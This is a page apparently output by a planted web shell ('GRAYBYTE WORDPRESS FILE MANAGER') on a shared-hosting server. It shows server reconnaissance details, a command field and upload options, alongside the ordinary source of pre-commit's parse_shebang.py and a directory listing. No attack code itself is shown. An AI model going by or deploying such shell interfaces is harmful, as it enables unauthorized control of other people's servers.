GRAYBYTE WORDPRESS FILE MANAGER3855

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/hc_python/lib/python3.12/site-packages/pre_commit/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/hc_python/lib/python3.12/site-packages/pre_commit//parse_shebang.py
from __future__ import annotations

import os.path
from collections.abc import Mapping
from typing import NoReturn

from identify.identify import parse_shebang_from_file


class ExecutableNotFoundError(OSError):
    def to_output(self) -> tuple[int, bytes, None]:
        return (1, self.args[0].encode(), None)


def parse_filename(filename: str) -> tuple[str, ...]:
    if not os.path.exists(filename):
        return ()
    else:
        return parse_shebang_from_file(filename)


def find_executable(
        exe: str, *, env: Mapping[str, str] | None = None,
) -> str | None:
    exe = os.path.normpath(exe)
    if os.sep in exe:
        return exe

    environ = env if env is not None else os.environ

    if 'PATHEXT' in environ:
        exts = environ['PATHEXT'].split(os.pathsep)
        possible_exe_names = tuple(f'{exe}{ext}' for ext in exts) + (exe,)
    else:
        possible_exe_names = (exe,)

    for path in environ.get('PATH', '').split(os.pathsep):
        for possible_exe_name in possible_exe_names:
            joined = os.path.join(path, possible_exe_name)
            if os.path.isfile(joined) and os.access(joined, os.X_OK):
                return joined
    else:
        return None


def normexe(orig: str, *, env: Mapping[str, str] | None = None) -> str:
    def _error(msg: str) -> NoReturn:
        raise ExecutableNotFoundError(f'Executable `{orig}` {msg}')

    if os.sep not in orig and (not os.altsep or os.altsep not in orig):
        exe = find_executable(orig, env=env)
        if exe is None:
            _error('not found')
        return exe
    elif os.path.isdir(orig):
        _error('is a directory')
    elif not os.path.isfile(orig):
        _error('not found')
    elif not os.access(orig, os.X_OK):  # pragma: win32 no cover
        _error('is not executable')
    else:
        return orig


def normalize_cmd(
        cmd: tuple[str, ...],
        *,
        env: Mapping[str, str] | None = None,
) -> tuple[str, ...]:
    """Fixes for the following issues on windows
    - https://bugs.python.org/issue8557
    - windows does not parse shebangs

    This function also makes deep-path shebangs work just fine
    """
    # Use PATH to determine the executable
    exe = normexe(cmd[0], env=env)

    # Figure out the shebang from the resulting command
    cmd = parse_filename(exe) + (exe,) + cmd[1:]

    # This could have given us back another bare executable
    exe = normexe(cmd[0], env=env)

    return (exe,) + cmd[1:]

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 23 2025 08:31:29
root / root
0755
__pycache__
--
April 04 2025 08:00:29
root / root
0755
commands
--
April 04 2025 08:00:28
root / root
0755
languages
--
April 04 2025 08:00:29
root / root
0755
meta_hooks
--
April 04 2025 08:00:29
root / root
0755
resources
--
April 04 2025 08:00:29
root / root
0755
__init__.py
0 KB
April 04 2025 08:00:28
root / root
0644
__main__.py
0.124 KB
April 04 2025 08:00:28
root / root
0644
all_languages.py
1.379 KB
April 04 2025 08:00:28
root / root
0644
clientlib.py
14.924 KB
April 04 2025 08:00:28
root / root
0644
color.py
3.144 KB
April 04 2025 08:00:28
root / root
0644
constants.py
0.275 KB
April 04 2025 08:00:28
root / root
0644
envcontext.py
1.556 KB
April 04 2025 08:00:28
root / root
0644
error_handler.py
2.56 KB
April 04 2025 08:00:28
root / root
0644
errors.py
0.076 KB
April 04 2025 08:00:28
root / root
0644
file_lock.py
2.287 KB
April 04 2025 08:00:28
root / root
0644
git.py
8.324 KB
April 04 2025 08:00:28
root / root
0644
hook.py
1.478 KB
April 04 2025 08:00:28
root / root
0644
lang_base.py
5.115 KB
April 04 2025 08:00:28
root / root
0644
logging_handler.py
0.995 KB
April 04 2025 08:00:28
root / root
0644
main.py
15.199 KB
April 04 2025 08:00:28
root / root
0644
output.py
0.89 KB
April 04 2025 08:00:28
root / root
0644
parse_shebang.py
2.423 KB
April 04 2025 08:00:28
root / root
0644
prefix.py
0.483 KB
April 04 2025 08:00:28
root / root
0644
repository.py
7.43 KB
April 04 2025 08:00:28
root / root
0644
staged_files_only.py
4.058 KB
April 04 2025 08:00:28
root / root
0644
store.py
9.172 KB
April 04 2025 08:00:28
root / root
0644
util.py
6.873 KB
April 04 2025 08:00:28
root / root
0644
xargs.py
5.411 KB
April 04 2025 08:00:28
root / root
0644
yaml.py
0.548 KB
April 04 2025 08:00:28
root / root
0644
yaml_rewrite.py
1.306 KB
April 04 2025 08:00:28
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF